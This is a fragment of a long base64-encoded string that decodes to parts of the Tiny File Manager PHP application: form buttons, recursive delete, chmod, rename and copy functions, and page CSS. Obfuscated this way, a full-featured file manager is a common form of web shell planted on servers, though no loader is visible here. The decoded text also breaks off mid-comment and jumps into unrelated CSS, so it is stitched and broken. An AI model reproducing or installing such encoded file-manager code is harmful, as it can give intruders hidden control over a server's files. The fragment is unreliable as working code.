tKCc8P3BocCBlY2hvIGxuZygnQ3JlYXRlIGFyY2hpdmU/Jyk7ID8+JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtemlwJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWFyY2hpdmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnWmlwJykgPz4gPC9hPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InRhciIgaWQ9ImEtdGFyIiB2YWx1ZT0idGFyIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZS1hcmNoaXZlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDwvYT4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJjb3B5IiBpZD0iYS1jb3B5IiB2YWx1ZT0iQ29weSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS1jb3B5JykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz4gPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMyBkLW5vbmUgZC1zbS1ibG9jayI+PGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWQiPjw/cGhwIGVjaG8gbG5nKCJBcHBOYW1lIikuIiAiLlZFUlNJT047ID8+PC9hPjwvZGl2PgogICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiI+PGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWQiPjw/cGhwIGVjaG8gbG5nKCJBcHBOYW1lIikuIiAiLlZFUlNJT047ID8+PC9hPjwvZGl2PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPC9kaXY+CjwvZm9ybT4KCjw/cGhwCmZtX3Nob3dfZm9vdGVyKCk7CgovLyAtLS0gRU5EIEhUTUwgLS0tCgovLyBGdW5jdGlvbnMKCi8qKgogKiBJdCBwcmludHMgdGhlIGNzcy9qcyBmaWxlcyBpbnRvIGh0bWwKICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LgogKi8KZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSkKewogICAgZ2xvYmFsICRleHRlcm5hbDsKCiAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGtleSwgJGV4dGVybmFsKSkgewogICAgICAgIC8vIHRocm93IG5ldyBFeGNlcHRpb24oJ0tleSBtaXNzaW5nIGluIGV4dGVybmFsOiAnIC4ga2V5KTsKICAgICAgICBlY2hvICI8IS0tIEVYVEVSTkFMOiBNSVNTSU5HIEtFWSAka2V5IC0tPiI7CiAgICAgICAgcmV0dXJuOwogICAgfQoKICAgIGVjaG8gIiRleHRlcm5hbFska2V5XSI7Cn0KCi8qKgogKiBWZXJpZnkgQ1NSRiBUT0tFTiBhbmQgcmVtb3ZlIGFmdGVyIGNlcnRpZmllZAogKiBAcGFyYW0gc3RyaW5nICR0b2tlbgogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIHZlcmlmeVRva2VuKCR0b2tlbikKewogICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogRGVsZXRlICBmaWxlIG9yIGZvbGRlciAocmVjdXJzaXZlbHkpCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9yZGVsZXRlKCRwYXRoKQp7CiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHsKICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsKICAgIH0gZWxzZWlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkb2sgPSB0cnVlOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb2sgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIFJlY3Vyc2l2ZSBjaG1vZAogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEBwYXJhbSBpbnQgJGZpbGVtb2RlCiAqIEBwYXJhbSBpbnQgJGRpcm1vZGUKICogQHJldHVybiBib29sCiAqIEB0b2RvIFdpbGwgdXNlIGluIG1hc3MgY2htb2QKICovCmZ1bmN0aW9uIGZtX3JjaG1vZCgkcGF0aCwgJGZpbGVtb2RlLCAkZGlybW9kZSkKewogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICBpZiAoIWNobW9kKCRwYXRoLCAkZGlybW9kZSkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJy8nIC4gJGZpbGUsICRmaWxlbW9kZSwgJGRpcm1vZGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2VpZiAoaXNfbGluaygkcGF0aCkpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgewogICAgICAgIHJldHVybiBjaG1vZCgkcGF0aCwgJGZpbGVtb2RlKTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdAogKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX2lzX3ZhbGlkX2V4dCgkZmlsZW5hbWUpCnsKICAgICRhbGxvd2VkID0gKEZNX0ZJTEVfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9GSUxFX0VYVEVOU0lPTikgOiBmYWxzZTsKCiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsKCiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTsKfQoKLyoqCiAqIFNhZmVseSByZW5hbWUKICogQHBhcmFtIHN0cmluZyAkb2xkCiAqIEBwYXJhbSBzdHJpbmcgJG5ldwogKiBAcmV0dXJuIGJvb2x8bnVsbAogKi8KZnVuY3Rpb24gZm1fcmVuYW1lKCRvbGQsICRuZXcpCnsKICAgICRpc0ZpbGVBbGxvd2VkID0gZm1faXNfdmFsaWRfZXh0KCRuZXcpOwoKICAgIGlmICghaXNfZGlyKCRvbGQpKSB7CiAgICAgICAgaWYgKCEkaXNGaWxlQWxsb3dlZCkgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIHJldHVybiAoIWZpbGVfZXhpc3RzKCRuZXcpICYmIGZpbGVfZXhpc3RzKCRvbGQpKSA/IHJlbmFtZSgkb2xkLCAkbmV3KSA6IG51bGw7Cn0KCi8qKgogKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHBhcmFtIHN0cmluZyAkZGVzdAogKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlcwogKiBAcGFyYW0gYm9vbCAkZm9yY2UgQ3JlYXRlIGZvbGRlciB3aXRoIHNhbWUgbmFtZXMgaW5zdGVhZCBmaWxlCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fcmNvcHkoJHBhdGgsICRkZXN0LCAkdXBkID0gdHJ1ZSwgJGZvcmNlID0gdHJ1ZSkKewogICAgaWYgKCFpc19kaXIoJHBhdGgpICYmICFpc19maWxlKCRwYXRoKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgJG9iamVjdHMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJHBhdGgpLCBbJy4nLCAnLi4nXSk7CgogICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgIGlmICghZm1fcmNvcHkoIiRwYXRoLyRmaWxlIiwgIiRkZXN0LyRmaWxlIiwgJHVwZCwgJGZvcmNlKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvLyBIYW5kbGUgZmlsZSBjb3B5aW5nCiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpOwp9CgoKLyoqCiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyCiAqIEBwYXJhbSBzdHJpbmcgJGRpcgogKiBAcGFyYW0gYm9vbCAkZm9yY2UKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpCnsKICAgIGlmIChmaWxlX2V4aXN0cygkZGlyKSkgewogICAgICAgIGlmIChpc19kaXIoJGRpcikpIHsKICAgICAgICAgICAgcmV0dXJuICRkaXI7CiAgICAgICAgfSBlbHNlaWYgKCEkZm9yY2UpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICB1bmxpbmsoJGRpcik7CiAgICB9CiAgICByZXR1cm4gbWtkaXIoJGRpciwgMDc3NywgdHJ1ZSk7Cn0KCi8qKgogKiBTYWZlbHkgY29weSBmaWxlCiAqIEBwYXJhbSBzdHJpbmcgJGYxCiAqIEBwYXJhbSBzdHJpbmcgJGYyCiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudAogKiBAcmoKICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZjM2ZmEwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1jb2RlLW8gewogICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmYKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaS5mYS5mYS1jb2RlIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8gewogICAgICAgICAgICAgICAgY29sb3I6ICMwMDk2ZTYKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaS5mYS5mYS1odG1sNSB7CiAgICAgICAgICAgICAgICBjb2xvcjogI2Q3NWU3MgogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmZhLmZhLWZpbGUtZXhjZWwtbyB7CiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZAogICAgICAgICAgICB9CgogICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZjY3MTJlCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGkuZ28tYmFjayB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtOwogICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5tYWluLW5hdiB7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwLjJyZW0gMXJlbTsKICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgNHB4IDVweCAwIHJnYmEoMCwgMCwgMCwgLjE0KSwgMCAxcHggMTBweCAwIHJnYmEoMCwgMCwgMCwgLjEyKSwgMCAycHggNHB4IC0xcHggcmdiYSgwLCAwLCAwLCAuMikKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmRhdGFUYWJsZXNfZmlsdGVyIHsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7CiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVFBQUFEWVdmNUhBQUFBa0VsRVFWUW96N1hRTVE1QVFCQ0Y0ZFdRU0p4QzV3d2F4MUNxMWU3QkFkeEQ1U0wrVHEvUUNNMW9OaUppZHdveDAzNTVtWG5HL0RyRXRJUTZhemlvTlpReEkweWtQaFRRSXdoQ1IrQm1CWXRsSzdrTEpZd1dDY0pBOU00cWRyWnJkOHBQalpXUHRPcWRSUXkzMjBZU1YxN09hdEZDNGV1dHM2ejM5R1lNS1JQQ1RLWTlVblBRNlArR3RNUmZHdFBuQkNpcWhBZUpQbWtxQUFBQUFFbEZUa1N1UW1DQycpOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfYXNjIHsKICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzUy9nRGliVW9PMGdQZ3hFUDhINHR0QXJFeXVRWXhBUEJkcUVBeFBCSW1UWTVnakVMOURNK3dURU51UWFoQXZFTzlETXdpR2R3QXhPeW1HSlFMeFR5RCtqZ1dEeENNWlJzRW9HQVZvQUFEZWVtd3RQY1pJMndBQUFBQkpSVTVFcmtKZ2dnPT0nKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2Rlc2MgewogICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlciByaWdodDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkEvQk9JdjJQQklQRkVVZ3hqQitJZFFQd2ZDOTRIeEx5a3VzNEdpRCtoR2ZRT2lCM0o4U29qRUU5RU0yd3VTSnpjc0ZNRzR0dFFneDREc1JhbGtaRU54TCtBdUpRYU1jc0d4Qk9BbUd2b3BrOEFWejFzTFpnZzBic0FBQUFBU1VWT1JLNUNZSUk9Jyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCB0cjpmaXJzdC1jaGlsZCB0aC5jdXN0b20tY2hlY2tib3gtaGVhZGVyOmZpcnN0LWNoaWxkIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mb290ZXItYWN0aW9uIGxpIHsKICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDI0cHg7CiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogMzAwOwogICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4OwogICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaHIuY3VzdG9tLWhyIHsKICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBkYXNoZWQgIzhjOGI4YjsKICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI3NuYWNrYmFyIHsKICAgICAgICAgICAgICAgIHZpc2liaWxpdHk6IGhpZGRlbjsKICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMjUwcHg7CiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnB4OwogICAgICAgICAgICAgICAgcGFkZGluZzogMTZweDsKICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgICAgIHotaW5kZXg6IDE7CiAgICAgICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE3cHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzbmFja2Jhci5zaG93IHsKICAgICAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7CiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBmYWRlaW4gMC41cywgZmFkZW91dCAwLjVzIDIuNXM7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEAtd2Via2l0LWtleWZyYW1lcyBmYWRlaW4gewogICAgICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwOwogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgdG8gewogICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDsKICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBAa2V5ZnJhbWVzIGZhZGVpbiB7CiAgICAgICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4OwogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEAtd2Via2l0LWtleWZyYW1lcyBmYWRlb3V0IHsKICAgICAgICAgICAgICAgIGZyb20gewogICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDsKICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHRvIHsKICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlb3V0IHsKICAgICAgICAgICAgICAgIGZyb20gewogICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDsKICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHRvIHsKICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZSB7CiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgI2Y4ZjlmYQogICAgICAgICAgICB9CgogICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgxKSB7CiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjcKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZjhiNjAwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDMpIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzAwYmQ2MAogICAgICAgICAgICB9CgogICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg0KSB7CiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmYKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjYWM2OGZjCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDYpIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzQ1YzNkMgogICAgICAgICAgICB9CgogICAgICAgICAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4tZGV2aWNlLXdpZHRoOjc2OHB4KSBhbmQgKG1heC1kZXZpY2Utd2lkdGg6MTAyNHB4KSBhbmQgKG9yaWVudGF0aW9uOmxhbmRzY2FwZSkgYW5kICgtd2Via2l0LW1pbi1kZXZpY2UtcGl4ZWwtcmF0aW86MikgewogICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYgewogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5idG4uYWN0aXZlLmZvY3VzLAogICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cywKICAgICAgICAgICAgLmJ0bi5mb2N1cywKICAgICAgICAgICAgLmJ0bi5mb2N1czphY3RpdmUsCiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLAogICAgICAgICAgICAuYnRuOmZvY3VzIHsKICAgICAgICAgICAgICAgIG91dGxpbmU6IDAgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudAogICAgICAgICAgICB9CgogICAgICAgICAgICAubGRzLWZhY2Vib29rIHsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDsKICAgICAgICAgICAgICAgIGhlaWdodDogNjRweAogICAgICAgICAgICB9CgogICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiwKICAgICAgICAgICAgLmxkcy1mYWNlYm9vay5zaG93LW1lIHsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jawogICAgICAgICAgICB9CgogICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7CiAgICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7CiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDdiZmY7CiAgICAgICAgICAgICAgICBhbmltYXRpb246IGxkcy1mYWNlYm9vayAxLjJzIGN1YmljLWJlemllcigwLCAuNSwgLjUsIDEpIGluZmluaXRlCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2Om50aC1jaGlsZCgxKSB7CiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7CiAgICAgICAgICAgICAgICBhbmltYXRpb24tZGVsYXk6IC0uMjRzCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2Om50aC1jaGlsZCgyKSB7CiAgICAgICAgICAgICAgICBsZWZ0OiAyNnB4OwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEycwogICAgICAgICAgICB9CgogICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykgewogICAgICAgICAgICAgICAgbGVmdDogNDVweDsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbi1kZWxheTogMHMKICAgICAgICAgICAgfQoKICAgICAgICAgICAgQGtleWZyYW1lcyBs